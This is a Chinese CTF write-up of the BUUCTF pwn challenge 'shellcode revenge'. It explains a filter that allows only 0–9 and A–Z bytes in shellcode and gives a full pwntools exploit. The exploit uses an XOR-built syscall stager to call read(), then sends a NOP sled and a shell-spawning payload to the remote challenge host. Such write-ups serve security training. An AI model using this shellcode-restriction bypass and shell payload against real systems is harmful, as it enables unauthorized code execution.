【pwn】shellcode revenge --0~9,A~Z字符的shellcode

发布时间 2023-12-02 13:30:37作者: GGBomb

查一下保护

拖进ida看主要逻辑

这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode基本都是xor

我们gdb调试一下看一下寄存器的值

我们在这里下个断点,然后输入一堆22222222222222222222222222222222222

可以发现这里rax=0,rdi=0,rsi=地址,rdx=地址,这里可以构造read函数,然后就可以读入shellcode,可以绕过字符限制,但这里syscall的十六进制的代码是0f 05

代码如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shellcode="syscall"
print(asm(shellcode))
可以发现,显然是不满足上面所限制的十六进制数,但这里可以用异或来达到shellcode的构造,exp如下:
from pwn import *
 
context(arch='amd64',os='linux',log_level='debug')
 
p = remote("node4.buuoj.cn",26157)
 
#p = process('./shellcodere')
 
 
 
payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]   
 
payload += b'\x31\x42\x30'  #31 42 30 xor DWORD PTR [rdx+0x30], eax   将\x4e\x44异或成syscall的十六进制数
 
payload += b'\x33\x42\x37'  #33 42 38 xor eax, DWORD PTR [rdx+0x38] ,eax置0,为调用read函数准备
 
payload += b'\x31\x42\x38'  #31 42 38 xor DWORD PTR [rdx+0x38], eax  减syscall后面代码变成nop,为后面执行shellcode做准备
 
payload += b'\x59'*(0x30-len(payload))  #59 pop rcx
 
payload += b'\x4e\x44'*2  #syscall  0x4e^0x41=0xf 0x44^0x41=0x5   
 
payload += b'A'*8           #xor key
 
p.sendlineafter("magic\n",payload)
 
pause()
 
p.sendline(b'\x90'*0x60+asm(shellcraft.sh()))       
 
p.interactive()